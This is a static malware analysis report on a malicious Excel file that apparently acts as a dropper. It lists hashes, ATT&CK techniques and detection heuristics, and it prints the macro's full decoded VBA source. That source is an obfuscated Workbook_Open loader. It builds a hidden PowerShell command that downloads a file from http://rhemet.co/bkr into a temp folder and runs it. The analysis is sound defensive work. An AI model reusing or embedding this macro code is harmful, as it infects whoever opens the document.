Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ea15632bc1ce459…

MALICIOUS

Office (OLE)

77.5 KB Created: 2018-05-03 08:36:42 Authoring application: Microsoft Excel First seen: 2019-09-30
MD5: 765fb47dce2f34fd9bf3a934826b790d SHA-1: 09a26bb2e2f0836f6dedf0fb92f031456f1a3456 SHA-256: 7ea15632bc1ce459fe4eb622ee7ff9eef7d43108054a9fd0272ca1cd8a0f8ffb
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Workbook_Open event, which is a common technique for executing malicious code upon opening the document. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, likely to download and execute a second-stage payload. The script attempts to download a file from 'http://rhemet.co/bkr' and save it as '%appdata%\multiplexed', which is then executed. This behavior aligns with a dropper malware.

Heuristics 4

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3042 bytes
SHA-256: 4ca3294144bb97022576145f47a1800b68ba6d995b3501233e0cc7c2ca78ea11
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function nutivacolo()
nutivacolo = Right(Left("multiplexed", 10), 3)
End Function



Function bablacara()
bablacara = "" + Chr(34)
End Function










Function sadedefed()
miolokolj = "I"
grefuiknuk = "nvideo"
sadedefed = miolokolj + Left(grefuiknuk, 2)
End Function

Function silverbool()
menorescup = ""
Randomize
silverbool = Int(Rnd * 2#)
End Function
Function tillerstops()
kakatanaga = "'sy"
smeralfdau = "1}{3}" + "{5}{" + "0}{2}{4}\"" -f'" + "t'," + kakatanaga + "st','.we" + "bclie','em','nt','.ne'" + kammerloaff + "'d" + "'+'o" + "w'+'n" + "lo" + "ad" + "fi"

balladuma = "cM" + semeramidys + nugahoneys + bablacara + "do{sleep 25;(.(\""{2}{0}{1}\"" -f'-o','bject','new') (\""{"

tillerstops = balladuma + smeralfdau + "l'+'e')." + sadedefed + "oke('" + tremorrtimer + "p://rhemet.co/bkr','%" + naomicembels + "%." + nutivacolo + "')}while(!$?);&(\""{0}{2}{1}\""-f'star','ss','t-proce') '%" + naomicembels + "%." + nutivacolo
End Function
Function naomicembels()

footballnba = Left("calamander", 4)
clevernooise = "em"
sanatanariia = Array("t" + clevernooise + "p", "lo" + footballnba + "ppd" + "ata")
naomicembels = sanatanariia(silverbool)
End Function



Function tremorrtimer()
giiiotre = "light"
tremorrtimer = Right(Left(giiiotre + "tight", 6), 3)
End Function

Function kammerloaff()
jojokolmer = 0
fertypolo = ").("
kammerloaff = ")" + fertypolo
End Function
Function semeramidys()
hahajiiko = "" + "d"
gigstermsd = hahajiiko + "  "
semeramidys = gigstermsd + "" + "/c" + Chr(34)
End Function
Sub Workbook_Open()
If xlAtBottom > 0.03 Then
Shell tillerstops + "'" + Chr(34) + Chr(34), xlSummaryAbove
End If
End Sub
Function nugahoneys()
gagaletterf = Array(Now(), Minute(Now), Now(), Now(), "uT" + "i  B", Minute(Now), Now(), Now())
santapollende = Array(Now(), "eLL  " + "-N")
varkoloiif = "ow" + "e"
olivergobane = "DDe" + "n  "
fruitstornado = Array(Now(), varkoloiif + "RS", Now(), Now())
portlanddomms = Array(Now(), Minute(Now), Minute(Now), "oP" + "r  " + "-e")

astralonfice = Array(Now(), "AS" + "S -W" + "i", Now())
valvegamess = Array(Second(Now), Now(), Now(), Now(), "RA" + "Ct")


nugahoneys = "p" + fruitstornado(1) + "h" + santapollende(1) + "on" + "iN" + "Te" + valvegamess(4) + "iv" + "E  -N" + portlanddomms(3) + "xeC" + gagaletterf(4) + "yP" + astralonfice(1) + "nD" + "O " + " hI" + olivergobane
End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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